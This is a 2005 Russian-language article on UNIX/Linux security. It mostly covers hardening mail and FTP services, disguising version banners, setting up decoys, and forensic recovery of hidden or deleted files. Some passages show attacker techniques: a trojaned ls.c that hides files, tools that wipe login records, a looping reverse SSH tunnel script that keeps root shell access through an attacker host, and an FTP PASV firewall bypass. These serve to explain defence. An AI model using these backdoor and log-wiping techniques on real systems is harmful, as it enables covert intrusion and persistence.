Linux

Проблемы безопасности UNIX-подобных операционных систем II

Статья вторая

Цикл моих статей (2005 год).
Оригинал изначально был размещен на http://adz.void.ru и http://infobez.net.ru. В последствии был перепечатан многими сайтами.
Вы можете скачать весь цикл статей в одном файле (580 кБ)

46. Mail. В старых версиях, например Sendmail были найдены ошибки кода, позволяющие получать привилегии неавторизированным пользователям. Ниже описаны действия, которые вы должны предпринять, чтобы обезопасить систему удалите «decode» алиас из файла /etc/aliases или /usr/lib/aliases. Если вы создаете алиасы, которые позволяют посылать сообщения программам, то убедитесь, что невозможно получить shell или выполнять команды shell’a из этих программ. Убедитесь, что ваш Wizard-password отключен в файле sendmail.cf. Если вы не изменяли файлы конфигурации, то делать этого не надо. Удостоверьтесь, что ваш sendmail не поддерживает команду «debug»:
#telnet localhost 25
localhost Sendmail 8.8.1
ready at 14 May 90 11:38:24 PST
#debug
Command unrecognized
#quit

Если же выдаст «debug set», то замените ваш sendmail на более новый!

47. FTP. Осуществляемый ftp & ftpd, позволяет пользователям соединятся с удаленным хостом для передачи файлов. К сожалению, старые версии этих программ, содержали ошибки и позволяли взломщику взломать систему. Одна из наиболее полезных особенностей FTP, аккуанты anoonymous или guest. Это полезно, если вы хотите давать доступ пользователям без создания аккаунта для каждого пользователя. Чтобы сделать такой доступ более безопасным, следуйте следующим инструкциям:

Создайте аккуант «ftp» и поместите «*» в поле пароля. Сделайте для аккаунта домашнюю директорию типа, /usr/ftp или /usr/spool/ftp. Сделайте домашний каталог без прав на запись:
#mkdir ~ftp
#chown ftp ~ftp
#chmod 555 ~ftp

Создайте каталог ~ftp/bin, без прав на запись и принадлежащий root. В этой папке разместите копию программы ls:
#mkdir ~ftp/bin
#chown root ~ftp/bin
#chmod 555 ~ftp/bin
#cp -p /bin/ls ~ftp/bin
#chmod 111 ~ftp/bin/ls

Создайте каталог ~ftp/etc, без прав на запись и принадлежащий руту. Поместите в него копии файлов passwd & group. Все пароли пометьте «*». Вы можете удалить некоторые аккаунты, но аккаунт «ftp» удалять нельзя!
#mkdir ~ftp/etc
#chown root ~ftp/etc
#chmod 555 ~ftp/etc
#cp -p /etc/passwd /etc/group ~ftp/etc
#chmod 444 ~ftp/etc/passwd ~ftp/etc/group

Создавайте директорию ~ftp/pub, принадлежащую «ftp» и с разрешением записи. Пользователи будут размещать туда файлы, которые будут доступны через «Anonymous FTP»:
#mkdir ~ftp/pub
#chown ftp ~ftp/pub
#chmod 777 ~ftp/pub

Поскольку анонимный FTP позволяет получить доступ любому, все же нельзя позволять доступ любому хосту. Вместо этого вы должны выбрать один хост, с которого будет разрешен анонимный доступ. Это делает контроль за нарушением безопасности намного легче.

48. Тривиальный FTP (TFTP). Не имеет никаких способов идентификации пользователя, и осуществляет связь на основе UDP протокола вместо TCP. Из-за всего этого TFTP имеет ошибки безопасности. Вы должны проверять ваши хосты используя ниже приведенную последовательность команд:
#tftp
tftp> connect your_host
tftp> get /etc/motd tmp
Error code 1: File not found
tftp> quit

Если ваша версия не отвечает «file not found» и вместо этого передает файл, вы должны заменить ваш «tftpd»!

49. Иногда бывает сложно найти документацию по всем демонам. Почему по умолчанию их включается так много? Просто многие дистрибутивы Linux хотят попасть на рынок за счет большего числа возможностей, которые они предоставляют. Так же это уменьшает количество звонков в службу поддержки на тему «А как мне включить этот сервис?».

Сервис и описание
ftp — Данные передаются открытым текстом, и могут быть легко перехвачены. В настоящее времы становится популярным SSH (2).

telnet — Данные передаются открытым текстом, и могут быть легко перехвачены (например, Hunt). Лучше всего заменить telnet на ssh, потому что SSH может выполнять те же самые функции. Обычно этот сервис используется для удаленного доступа к компьютеру.

rsh, rlogin, rcp, rexec — Эти сервисы тоже передают данные открытым текстом. Доступ к ним определяется IP-адресом, который можно подделать с помощью spoof’инга. Мне кажется, что r-сервисы уже устарели, и я никогда ими не пользуюсь.

talk/ntalk — Может быть полезным, но только если не обсуждать с помощью них секретную информацию. Это — один из первых клиентов для быстрого обмена сообщениями. Пользователи одной сети могут посылать друг другу сообщения. Сам этот сервис не открывает ваш компьютер для уязвимостей, но данные в нем не шифруются и могут быть перехвачены.

finger — Инструмент для получения информации о пользователях сети. Для этого достаточно набрать finger < имя юзера>. Используйте chfn, чтобы изменить вашу информацию, доступную через finger. Если вы создадите в домашней директории файлы .plan и/или .profile, то в ваш finger будет включена информация о ваших интересах, графике работы, и т.д. Это может быть полезно, например, для тех, кому нужен ваш график работы для того, чтобы с вами связаться. Как вы видите — этот сервис может быть полезным, но ваша информация может попасть к кому угодно. Так что — если вы хотите использовать finger, то ограничьте его пределами вашей локальной сети.

anacron — Похож на cron, но эта программа намного лучше для сети из компьютеров, которые могут быть не всегда включенными. Может быть полезно для выполнения каких-нибудь нужных задач, например, работы с логами. Я предпочитаю оставить этот сервис.
kudzu — Определяет новые устройства и завершает работу до того, как кто-либо может зайти в систему. Это — очень важный сервис, не представляющий никакого риска. Поэтому этот сервис можно спокойно оставлять.

ipchains — Загружает правила фильтрации для ядра. Если у вас нет набора правил, то вы можете отключить этот сервис. Я рекомендую отключить этот сервис и использовать IPTables и TCP Wrapper’ы.

network — Загружает сетевые интерфейсы — очень важная функция. Еще один временный сервис. Должен быть включенным.

portmap — Предоставляет распределение портов для NFS и NIS. Если вы их не используете (а я не рекомендую их использовать), то можно отключить этот сервис. У portmap есть много уявимостей, поэтому лучше не рисковать.

nfslock — Загружает rpc.lockd и rpc.statd — два сервиса, нужных для работы NFS. Если вы не используете NFS — выключите это.

apmd — Это сокращение расшифровывается, как «Продвинутый демон управления питанием» (Advanced Power Management Daemon). Если ваша система установлена на лаптопе, то это — полезная вещь. А если нет — можно отключать, потому что хотя в этой программе и нет уязвимостей, но она занимает системные ресурсы.

random — Генерирует случайные значения при запуске. Не надо беспокоиться насчет этого. Обычно случайные числа используются при шифровке.

netfs — Подключает сетевые файловые системы. Это не постоянный сервис, и он не представляет особого риска. Как я уже упоминал, NFS имеет несколько слабых мест в защите, поэтому я бы не рекомендовал использовать эту систему. Если у вас нет NFS, то этот сервис необязателен. А если вы настаиваете на использовании NFS или Samba, то я могу посоветовать только одно — приложите все силы, чтобы защитить вашу сеть от опасных вторжений

syslogd — Syslog Daemon — важная программа, которая ведет логи. Я настоятельно рекомендую, чтобы Syslogd был запущен всегда, потому что логи — это главное средство для защиты системы. Если вы думаете, что на вас была произведена атака, или заметили что-то странное — то первым же делом советую заглянуть в log-файлы.

identd — Изучите эту программу — и вам она понравится. Определяет, кто совершил подключение по TCP. Я обычно использую это для проверки локальных пользователей. Среди возможностей — определение, какой из компьютеров был взломан, и определение того, кто совершил эту атаку. Если бы я находился на вашем месте и не знал ничего об этом сервисе, то я бы просто написал в командной строке «man identd».

atd — Позволяет пользователям планировать выполнение программ по времени. Сейчас те же функции выполняет cron или anacron, так что — лучше выключить этот сервис.

crond — Позволяет пользователям планировать выполнение программ по времени.

pcmcia — Загружает модули pcmcia в ядро, если у вас есть карточка pcmcia. И снова — эта программа нужно только пользователям laptop’ов, а для остальных это — просто трата системных ресурсов.

xinetd/inetd — Как уже обсуждалось выше, xinetd/inetd контролирует множество сетевых daemon’ов. Если ни один из этих сервисов вам не нужен, и вы не используете TCP wrapper’ы, то это можно отключить.

rawdevices — Позволяет вашей системе размещать и блокировать устройства. Это — временный сервис, который не представляет никакой угрозы в плане безопасности. Нужная вещь.

gpm — Позволяет копировать и вставлять текст в режиме командной строки. Прошлые версии имели несколько уязвимостей. Если вы работаете в Иксах, то это вам не нужно. Обычно я отключаю этот сервис по привычке, но вы можете оставить, если с ним вам удобнее работать в командной строке.

httpd — Это — веб-сервер Apache.

xfs — Это нужно только тогда, когда ваш компьютер — font-сервер.

linuxconf — Используется для внесения изменений в системные настройки. Я подозреваю, что это — разработка Red Hat. В Linux-сообществе идут вечные споры насчет этой программы. Сам я пользовался этим только тогда, когда я только начинал изучать Linux, но сейчас больше не пользуюсь. Это — временный сервис, который не представляет особого риска. Если вы им не пользуетесь — отключите.

local — Это безопасно. Local хранит скрипты вашего компьютера. Я оставляю этот сервис, но периодически проверяю и обновляю в случае проблем с безопасностью.

50. Finger демон. Многие знают, что с помощью команды finger можно узнать инфу о удаленном хосте (если конечно на нем запущен finger демон). Чтобы избежать каких-либо проблем, связанных с этим, установите последнюю версию (>1.37), просмотрите, какую именно информацию выводит данный демон о вашем хосте и по мере возможности уменьшите ее содержимое.

51. Давно известно, что прежде чем производить взлом, надо собрать информацию о жертве. Например, чтобы использовать удаленный эксплоит Sendmail, надо узнать версию Sendmail и найти эксплоит под эту версию. Если взломщик не узнает версию, то ему останеться либо искать другой путь взлома, либо попробовать все эксплоиты (что редко происходит). Вобщем цена информации понятна, приступим к делу!

52. В каталоге /etc есть файлы issue и issue.net, задача первого — выдать приветствие при доступе с локального терминала, а другого — с telnetd. Содержимое файлов нужно изменить, например вместо
"* Welcome to Mandrake 10.1 *"
написать
"* Welcome to Mandrake 7.2 *"
Это гораздо полезней, чем написать «* Welcome *», т.к. при виде приветствия Mandrake, взломщик будет ориентироваться на то, что на машине-жертве стоит Mandrake, а при появлении простого приветствия, взломщик полезет дальше, чтобы узнать информацию. Хотя он все равно узнает верную информацию, но потеряет время.

53. Файл shells в той же папке. Он хранит адрес к shell. Тоже лучше сменить на недостоверную информацию.

54. /etc/Mandrake — Здесь хранится версия дистрибутива Unix. Посмотрите дальше смотрите сами, какие еще файлы с информацией хранятся в папке /etc, а мы следуем дальше.

55. Каждый взломщик, как правило, при взломе ориентируется на открытые порты на удаленной машине, то есть если открыт 33233 порт, то можно судить, что машину поимели (протроянили) и можно попытать счастья подтелнетившись туда. Но мы можем исправить это, а именно написать простой сервис, который будет висеть на 33233 порту и ждать коннекта и если кто-то позарится то мы будем иметь IP атакующего, что есть гуд.

56. При взломе, чтобы определить ОС удаленной машины используют queso etc. Данная программа посылает запрос на машину и, получив ответ, анализирует его (в результате в зависимости от ответа определяется ОС). Твоя задача заключается в том, чтобы настроить свой файерволл таким образом, чтобы тот не отвечал на данный запрос или отвечал ложно.

57. При установке какого-то сервиса на свою машину (особенно если это скачиваешь tar-архив в исходниках), обязательно обратите внимание на файл, в котором указывается версия демона и по возможности измените ее на более позднюю (так например при установке tar-архива Sendmail можно в sendmail*/src и изменить его версию редактированием файла version).

58. Как всем известо в unix пароли обычно хранятся в определенных файлах (passwd, shadow, master.passwd /etc/shadow-, /etc/shadow.lock (binary file)). В линуксе пассы лежат в /etc/shadow, а все остальное в /etc/passwd, то есть файла /etc/master.passwd для системы нет, а мы его сделаем не для системы, а для горе-взломщиков, которым зачем-то понадолился наши пароли. Они не увидят файла /etc/shadow. Для этого необходимо создать файл /etc/master.passwd и записать содержимое какого-нибудь файла паролей. Шутки ради это может быть настоящий файл с легкими (и обидными) паролями.
root:/dHhGGHUJHgh.:0:3::/root:/sbin/sh
www:jHGGFBbhyg8&h:201:200:,,,:/www:/usr/bin/false
public:hghThhyhhgThj:202:20:Gina
...

Где хранятся пароли

A/UX 3.0s — /tcb/files/auth/?/*
FreeBSD 4.3 — /etc/master.passwd
ConvexOS 10 — /etc/shadpw
ConvexOS 11 — /etc/shadow
DG/UX — /etc/tcb/aa/user/
HP-UX — /.secure/etc/passwd
IRIX 5 — /etc/shadow
Linux 1.1 — /etc/shadow
SunOS 4.1 — /etc/security/passwd.adjunct
SunOS 5.0 — /etc/shadow
UNICOS — /etc/udb
Win 95/98 — c:windows*.pwl
AIX 3 — /etc/security/passwd или /tcb/auth/files/первый символ логина/логин
BSD4.3-Reno — /etc/master.passwd
EP/IX — /etc/shadow
OSF/1 — /etc/passwd[.dir|.pag] SCO Unix #.2.x — /tcb/auth/files/первый символ логина/логин
System V Release 4.0 — /etc/shadow
System V Release 4.2 — /etc/security/* database
Ultrix 4 — /etc/auth[.dir|.pag]

59.Можно сделать себе сервер на 33233 порт (или другой). Теперь в случае коннекта будет послано сообщение. Для начала нужно создать файл сценария /etc/viktor и записать туда следующее:
#!/bin/sh
echo “Matrix has you of 33233 port” > bla
mail root < bla

В файл /etc/services и записать:
viktor 33233/tcp
А в файл /etc/inetd.conf
"viktor stream tcp wait root /etc/viktor viktor"
Командой chmod a+x viktor делаем файл исполняемым и перезагружаем inetd демон /etc/rc.d/init/inetd restart. Осталось только проверить его работу
telnet 127.0.0.1 33233
60. Обман злоумышленника. Специальные программы.

FakeBO — Сервер-обманка BackOriffice для UNIX. Используется в основном с другими средствами для обмана сканеров безопасности от определения типа операционной системы.Логи пишет в /var/log/fakebo.log (Default) или выводит на консоль.

AntiRoute — Эта программа предотвращает и логирует основанную на UDP маршрутизацию. То есть узнать адрес маршрутизатора, файерволла и остаться анонимным не получиться (если конечно все это не делается через шелл или специально подкованными утилитами). Если конкретнее то ваш IP’шник, порт источника и расстояния в хопах заносится в лог. Так что трейсить стандартным софтом уже опасно.

PingLogger — Записывает ICMP пакеты в определенный лог файл. Аналог ICMPinfo.

SWATCH — Программа превосходит по возможностям syslogd. Можно запускать совместно. При любых подозрительных действиях (выполнение определенных программ, например).

Аudit Daemon — Модуль к ядру Linux. Все копирует из /proc/audit, фильтрует и сохраняет в определенный лог файл.

Logrotate — Позволяет упаковывать и пересылать логи по электронной почте. Просто и доступно.

Fftool(Fingerprint Fucking Tool) — Утилита в виде модуля к ядру, дезинформирующая утилиты сбора информации о типе системы (Windows, Linux, Mac etc).

61. Вся информация о входах в систему
/etc/utmp
/var/log/utmp
/usr/adm/wtmp
/var/log/wtmp

Вогда и откуда логинились последний раз.
/var/log/lastlog
/usr/adm/lastlog

/etc/motd — файл «Message Of The Day», имя машины и ОС.
/etc/fstab — статическая информация о замонтированных на машину файловых системах.
/dev/mem и /dev/kmem могут использоваться для непосредственного доступа к оперативной памяти ядра. Этим все сказано.
/dev/hd* и /dev/sd* предназначены для управления драйверами в система. Как правило, для этих файлов предоставляются права чтения пользователям специальной группы в целях предоставления данных таким программам как dump. С помощью команды /sbin/dump он может скопировать все файлы, обходя любые установленные права доступа, и прочитать скопированные файлы с диска.
/etc/redhat-release — показывает версию дистрибутива линукса, если дистрибутив основан на linux redhat (Mandrake, RedHat, BlackCat, etc.)

62. Большинство приложений, позволяющих удаленный вход в систему (OpenSSH, демоны telnet, rlogin и др.) регистрируют каждую успешную попытку входа в систему в файле /var/log/utmp или /var/log/wtmp. Программа last позволяет прочесть данные, хранящиеся в этих файлах.
$ last -4
bree tps/15 192.168.10.211 Sun Oct 13 15:49 still logged in
reegen tty1 Sun Oct 13 15:47 - 15:45 (00:00)
xahria pts/2 :0.0 Sun Oct 13 15:49 still logged in
xahria pts/4 zhahadum Sun Oct 13 09:28 - 15:47 (06:18)

Для удаления записей из этих файлов (при наличии соответствующих прав) доступно множество программ, например: wzap, zap, zap2, unix2, cloak и clear. Кроме того, их можно просто удалить. Некоторые из программ просто заменяют нежелательные записи нулями, что можно определить. Программы наподобие logchk и chrootkit позволяют выдать сообщение о тревоге и попытках редактирования этих файлов.

63. Средства поиска файлов, например команды find, ls, lsof и locate/slocate, а также поиск файлов по шаблону с помощью функции glob() обычно позволяют находить любые файлы. Чтобы их скрыть, часто подменяют программы поиска файлов. Ниже приведен пример троянской версии файла ls.c — исходного кода для утилиты /bin/ls.
/* Возвратить ненулевое значение, если файл в 'next' должен быть выведен в списке. */

static int file_interesting (const struct dirent *next)
{
for (ignore = ignore_patterns; ignore = ignore->next)
if (fnmatch (ignore->pattern, next->d_name, FNM_PERIOD) == 0)
return 0;

/*начало вставленного троянского кода*/
if ( !strcmp(next->d_name, ‘…’ ))
{
return 0;
}
/*Конец троянского кода*/

if (really_all_files || next->d_name[0] != ‘.’ || (all_files

В данном случае изменена функция file_interesting, которая используется для определения того, должен ли файл быть выведен в списке. Обычно, если для команды ls не указать параметр -a, файлы, имя которых начинается с точки, например, .profile, в списке не выводятся. В код добавлена проверка — если имя файла … (три точки), то он никогда не должен выводится в списке обнаруженных файлов. Вообще в устаревших (и не только) UNIX-подобных системах в имя файла можно добавлять символ возврата на одну позицию (десятичное значение 010 или ^H) для затирания предыдущих символов. Это позволяет создавать имена файлов наподобие crackpw^H^H^H^H^H^H^Hsh, которые будут отображаться как sh в перечне файлов и списках запущенных процессов. Для вывода действительного имени файла при запуске утилиты ls следует добавить параметр -b, позволяющий отображать непечатаемые символы в имени файла. Однако Linux-системы по-прежнему уязвимы для создания имен файлов с использованием непечатаемого символа пробела.
user$ mkdir '.. '; ls -a
. .. .. my_exploit_program
user$ cd '.. '
user$ mv ../my_exploit_program 'sh '
user$ ls -a
. .. sh
user$ 'sh ' &
user$ ps -ef
anurup 3034 16612 0 17:16 pts/5 00:08:18 sh

Хотя всегда можно проверить записи непосредственно в каталоге /proc.
user$ cat /proc/3034/stat
3104 (sh ) S 16612 3104 16612 34821 3104 ....

В этом случае имя исполняемого процесса указывается в круглых скобках, где сразу видно лишний пробел. А узнать действительное имя запущенной программы можно по информации файла /proc/PID/status или /proc/PID/stat, где PID — идентификатор интересующего нас процесса.
user$ grep Name /proc/3133/status
Name: perl
user$ cat /proc/3133/stat
3104 (perl) S 16612 3104 16612 34821 3104 ....

В данном примере было определено имя процесса perl, поскольку это имя текущего исполняемого файла.
Большинство пользователей не используют флаг -a при вызове команды ls. Но даже те, кто использует этот флаг, могут не обратить внимание на то, что есть два каталога с одинаковым именем. А заметить отличие в именах запущенных процессов sh в отчете утилиты ps довольно сложно.
Чтобы выявить добавленные символы пробела к именам файлов, достаточно воспользоваться флагом -F при вызове утилиты ls. При этом после названия каждого каталога будет добавлен символ косой черты и символ звездочки после имени каждого исполняемого файла.
user$ ls -aF
./ ../ .. /

64. Информацию об удаленный файлах можно получить с помощью утилиты lsof.
root# lsof -c suspicious_program
prog 1360 root cwd DIR 3,4 1024 20197 /dev/
prog 1360 root mem REG 3,4 26384 58377 /dev/prog (deleted)
prog 1360 root mem REG 3,7 24383 40377 /lib/ld-2.1.3.so
prog 1360 root mem REG 3,7 404383 40256 /lib/libc-2.1.3.so
prog 1360 root 0u REG 3,4 38383 28377 /dev/output (deleted)
prog 1360 root 5u REG 3,5 498383 77377 /var/lib/pX18

В данном случае исполняемым файлом является /dev/prog, который был удален из файловой системы. Эта программа открывает файл /dev/output с дескриптором файла 0, и /var/lib/pX18 с дескриптором файла 5.
Как правило, файл /proc/PID/exe является символьной ссылкой к исполняемой программе, как показано ниже.
root# ls /proc/$$/exe
lrwx------ reegen cnc 0 Sep 17 18:15 /proc/16612/exe -> /bin/ksh*

Однако в нашем случае файл был удален.
root# ls /proc/$$/exe
lrwx------ root root 0 Dec 13 09:18 /proc/1360/exe -> /dev/prog (deleted)

Тем не менее, мы можем получить копию удаленного файла из каталога /proc.
root# cp /proc/1360/exe /root/recovered_executable
Подобно этому, открытый, но удаленный файл с дескриптором #0 может быть восстановлен из каталога /proc/PID/fd.
root# cp /proc/1360/fd/0 /root/recovered_output
К примеру, утилита lsof в отчете выдала, что некий процесс tst использует файлы из каталога /dev/shm/data, которых в системе нет.
root# lsof -p 1282
....
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
tst 5457 root 3w REG 0,9 29833 48214 /dev/shm/data/pws (deleted)
tst 5457 root 4w REG 30,9 29833 48214 /dev/shm/data/input (deleted)
....

Так вот, чтобы просмотреть информацию удаленных файлов, нужно просто скопировать их из соответствующих файлов каталога /proc.
root# cp /proc/5457/fd/3 /root/recover/data/pws
root# cp /proc/5457/fd/4 /root/recover/data/input

В данном случае 5457 является идентификатором запущенной программы tst, а дескрипторы файлов fd3 и fd4 относятся к процессам pws и input, соответственно (как было показано в отчете lsof).

65. С помощью операций монтирования можно скрыть от просмотра целые каталоги. Создадим, например, каталог /opt/tmp.
bad_guy:/home# cd /opt/tmp
bad_guy:/opt/tmp# ls
crackpw passwd words
bad_guy:/opt/tmp# crackpw &

Далее монтируем новую файловую систему поверх каталога /opt/tmp, например, раздел жесткого диска или файловую систему tmpsf.
bad_guy:/opt/tmp# mount size=1000 -t tmpfs /opt/tmp
bad_guy:/opt/tmp# ls
crackpw passwd words
bad_guy:/opt/tmp# touch blah
bad_guy:/opt/tmp# ls
blah crackpw passwd words

В Linux 2.4 можно монтировать файловые системы поверх существующей точки монтирования. В более ранних версиях ядра монтирование возможно только поверх каталога, который не является точкой монтирования.
Программа lsof указывает на каталог /opt/tmp как на месторасположение запущенных программ и открытых файлов. Однако никакой новый процесс не может получить доступ к этому каталогу.
root:/root# lsof -c crackpw | egrep 'cwd|txt'
crackpw 3312 root cwd DIR 3,5 4096 536093 /opt/tmp
crackpw 3312 root txt DIR 3,5 281099 22873 /opt/tmp/crackpw
root:/root# cd /opt/tmp
root:/opt/tmp# ls -l
drwxr-xr-x 2 root root 4096 Aug 16 18:37 ./
drwxr-xr-x 1 root root 4096 Aug 16 18:37 ../
root@host:/opt/tmp# pwd
/opt/tmp

В отчете, выдаваемом утилитой lsof, нет указания на то, что файлы были удалены. В то же время ls не дает никакой информации о их наличии.
Результат выполнения команды mount (если только она не была подменена троянской версией) должен помочь определить наличие дополнительных точек монтирования.
root:/opt/tmp# mount
/dev/hda7 on / type ext3 (rw)
none on /proc type proc (rw)
/dev/hda2 on /boot type reiserfs (rw)
/dev/hda5 on /home type reiserfs (rw)
/dev/hda6 on /usr type reiserfs (rw)
tmpfs on /opt/tmp type tmpfs (rw)

Если же утилита mount была подменена троянской версией, то есть еще один способ отличить два каталога /opt/tmp.
root:/opt/tmp# lsof -p $$ | grep cwd
bash 9288 root cwd DIR 22,0 4096 65536 /opt/tmp

Шестое поле каждой строчки в отчете lsof содержит номер устройства точки монтирования. Для оригинального каталога /opt/tmp пара основной/дополнительный номер устройства имеет значение 3,5, а для нового каталога /opt/tmp — 22,0. Очевидно, что здесь что-то не так. Демонтируем данный каталог.
root:/opt/tmp# cd /
root:/# umount /opt/tmp
root:/# cd /opt/tmp
root:/opt/tmp# ls
blah crackpw passwd words

66. Если доступ к системе получен, для ее управления проще всего организовать защищенное соединение с помощью службы SSH (еще добавить новую учетную запись и войти в систему от этого пользователя). Интересен вариант создания обратного SSL-туннеля.
Допустим, мы запустили собственную копию суперсервера inetd, который бы ожидал получения запросов на порт amanda с запуском командного интерпретатора с привилегиями root. Если этот порт будет заблокирован для доступа по Internet, то проще всего установить соединение с этим портом, используя возможности туннелирования протокола SSH.
bad_guymachine$ ssh -v bad@bad_guy -R 9999:localhost:amanda
SSH Version OpenSSH-3.5p1, protocol versions 1.5/2.0.

После того как SSL-соединение установлено, установленный параметр -R позволяет выполнить обратное соединение. Когда злоумышленник подключается к 9999 на своем компьютере, соединение перенаправляется на порт amanda хоста hackermachine. Теперь, чтобы подключится к командному интерпретатору с привилегиями root на удаленном компьютере, злоумышленнику достаточно подключиться к своему локальному порту 9999.
bad_guy$ nc localhost 9999
uname -n
bad_guymachine

Чтобы гарантировать себе возможность соединения с взломанным компьютером в любой момент времени, можно создать сценарий, подобный следующему. Объединив его с проверкой открытого/секретного ключей, соединение происходит без ввода пароля. Входящее соединение на взломанном хосте допускается благодаря использованию исходящего SSH-сеанса.
#!/bin/sh
while [1] ; do
ssh -R9999:localhost:amanda user@bad_guy.example.com sleep 500d
done

Этот же метод можно применить для доступа к любому порту на скомпрометированной машине, включая SMTP-, HTTP- или IMAPI-порт, и не только для запуска командного интерпретатора с правами root. Данный пример лишь продемонстрировал, насколько это просто.

67. Изменение SMTP-маркера для sendmail. Для отказа от приветственного сообщения в файле sendmail.cf найдите строку SmtpGreetingMessage и измените.
# SMTP initial login message (old $e macro)
O SmtpGreetingMessage=$j Sendmail $v/$Z; $b

на что-либо подобное
# SMTP initial login message (old $e macro)
O SmtpGreetingMessage=$j BWare -SMTP spoken here; $b

;
После внесения изменений обвините конфигурацию sendmail.
root# killall -HUP sendmail
Для изменения SMTP-маркера для qmail следует изменить содержимое файла конфигурации smtpgreeting для демона qmail-smtpd на новое приветственное сообщение.
Для изменения идентификационного маркера для postfix следует заменить в файле main.cf
smtpd_banner = $myhostname ESMTP $mail_name
smtpd_banner = $myhostname ESMTP $mail_name ($mail_version)

на что-нибудь другое, например
smtpd_banner = mail.example.org ESMTP Avoid the Gates of Hell - Use Linux
Изменение приветственного сообщения (так называемого баннера) в программе exim осуществляется в файле /etc/exim.conf.
smtpd_banner = mail.example.org ESMTP Live Free or Die
68. Команда VRFY предназначается для проверки имени пользователя или адреса получателя. Однако она сейчас редко используется для этой цели. Вместо этого она может быть использована для сбора имен пользователей и адресов для рассылки спама.
bad_guy$ telnet mailserver.example.com 25
...
VRFY luser
250 J. Random Luser < luser@mailserver.example.com>
...

Послать VRFY-запрос можно, изменив флаг PrivacyOptions в файле sendmail.mc, а затем перекомпилировать файл sendmail.cf.
define(‘confPRIVACY_FLAGS', ‘authwarnings,novrfy')dnl
Чтобы изменения вступили в силу, перезапустите или перезагрузите sendmail
root# killall -HUP sendmail
При попытке использования команды VRFY пользователь получит такой ответ.
VRFY luser
252 Cannot VRFY user; try RCPT to attempt delivery (or try finger)

А в системный журнал будет занесено сообщение.
sendmail[3237]: NOQENE: [192.168.1.100]: VRFY luser [rejected]
69. Команда EXPN служит для расширения почтового псевдонима до имени пользователя или почтового адреса.
bad_guy$ telnet mailserver.example.com 25
...
EXPN mylist
250-< vasya@example.org>
250-< k0r0l@example.org>
250-< tee@all_dogs.net>
250-< leo@all_dogs.net>
...
EXPN biglist@example.com
250 2.1.5 < |/etc/smrsh/mailinglist.pl biglist>
quit

Теперь мы знаем, что адрес biglist@example.com не только существует, но и что обработка почты осуществляется собственным Perl-сценарием и что sendmail использует smrsh (защищенный командный интерпретатор senmail) вместо для реализации всех функций командного интерпретатора.
В файле sendmail.cf с помощью изменения флага PrivacyOptions можно запретить ответ на EXPN-запросы.
# privacy flags
O PrivacyOptions=authwarnings,noexpn

Или можно добавить в конфигурационный файл sendmail.mc, а затем перекомпилировать sendmail.cf.
define(‘confPRIVACY_FLAGS', ‘authwarnings,noexpn')dnl
Поскольку, скорее всего, будет отключена команда VRFY, список используемых параметров будет состоять из: authwarnings,noexpn,novrfy. В последней версии sendmail есть параметр goaway, включающий в себя noexpn, novrfy и другие параметры PrivacyOptions.

70. Рассмотрим содержимое файла почтовых псевдонимов sendmail.
bigmamoo: george@pontoon_boat.org
pageme: |/usr/local/bin/send_page 8837229@pagers.example.com
biglist: :include:/etc/mail/lists/biglists

Псевдоним bigmamoo просто служит для установления соответствия с адресом электронной почты. Псевдоним pageme отправляет электронную почту на обработку программе с привилегиями root. Псевдоним biglist выполняет чтение расширения адреса из отдельного файла.
Просто изменив программу send_page, есть возможность выполнять команды с правами root, отправляя почту по адресу pageme. Также если пользователи будут иметь возможность управлять различными почтовыми списками в каталоге /etc/mail/lists, они могут добавить программы в виде включенных в этот каталог файлов и запускать их с привилегиями root.
Для предотвращения запуска внешних программ, sendmail может использовать smrsh (защищенный командный интерпретатор) для запуска всех команд командного интерпретатора. Для этого в файл sendmail.mc добавьте следующую строчку.
FEATURE('smrsh','path-to-smrsh')
Двоичный файл smrsh позволяет запускать программы только из определенного каталога (по умолчанию из /usr/adm/sm/bin). Убедитесь, что только суперпользователь может изменять файлы для поддержки почтового сервера /etc/postfix для postfix, /var/gmail для qmail и /etc/exim.conf для exim. Не следует доверять права записи этих файлов виртуальным пользователям почтовых серверов (postfix, maildrop, qmaild, qmailr и т.д.).

71. Некоторые версии программы gunzip имеют уязвимость переполнения буфера при размере имени файла больше 1024 бит. Результатом проведения успешной атаки (http://www.immunitysec.com) становится доступ к командному интерпретатору посредством привязки к сетевому порту (по умолчанию 9119).

72. Управление FTP-маркером для сервера wu-ftp осуществляется с помощью нескольких конфигурационных параметров в файле /etc/ftpaccess.

greeting full — Выдает полное приветствие, включая имя хоста и версию демона.
greeting brief — Представляет только имя хоста
greeting terse — Выдает сообщение “FTP server ready”.
greeting text сообщение — Выводит только указанное сообщение.
Banner /путь/к/сообщению — Выдает содержимое указанного файла. Может вызвать проблемы для устаревших FTP-клиентов, для которых не поддерживаются многострочные FTP-ответы.
hostname имя — Выводит указанное имя хоста. Это имя выдается вначале и при завершении соединения.

Убедитесь, что ваш FTP-сервер анализирует конфигурацию из файла /etc/ftpaccess, добавив флаг -a после аргумента in.ftpd, в командной строке для запуска wu-ftp в файле /etc/inetd.conf: ftp stream tcp nowait root /usr/sbin/tcpd in.ftpd -a < другие параметры>.
Сервер ProFTPD использует один конфигурационный файл pd.conf. Измените значение переменной ServerName с установленного по умолчанию “ProFTPD Default Installation” на что-либо подобное.
ServerName "Unauthorized use of this FTP server Prohibited. Go away."
73. Часть FTP-серверы устанавливают за брандмауэром в DMZ, и доступ к ним блокируется, кроме FTP-трафика, конечно. Когда FTP-сервер отправляет команду PASV, то брандмауэр должен открыть указанный порт для установки канала данных, а затем закрыть его после завершения сеанса. Однако большинство брандмауэров не контролируют действительное состояние FTP-сеанса (предпочтение отдается скорости, а не безопасности) и могут быть обманутыми. Для этого необходимо заставить FTP-сервер отправить сообщение об ошибке, которое содержит команду, похожую на PASV, или благодаря непосредственной отправке команды PASV по каналу команд от FTP-клиента.
По адресу http://www.monkey.org для эксплуатации данной уязвимости.
Убедимся, что порт 79 закрыт брандмауэром.
bad_guy# nc -v -v secure-ftp.example.com 79
secure-ftp.example.com 79 (finger) : Connection refused
set 0, rcvd 0

bad_guy# ftp-ozone secure-ftp.example.com 79

bad_guy# nc secure-ftp.example.com 79
root
Login: root Name: Superuser
Directory: /root Shell: /bin/bash
On since Thu Sep 17 12:15 (PST) on tty2
7 hours 18 minutes idle
No mail
No Plan

bad_guy#
Программа ftp-ozone отправляет 123 символа точки “.”, за которыми следует команда PASV “227 (10,10,10,10,0,79)”
. FTP-сервер определяет эту команду как некорректную и отвечает следующим сообщением об ошибке: “... (много точек).... 227 (10,10,10,10,0,79)': command not understood”
.
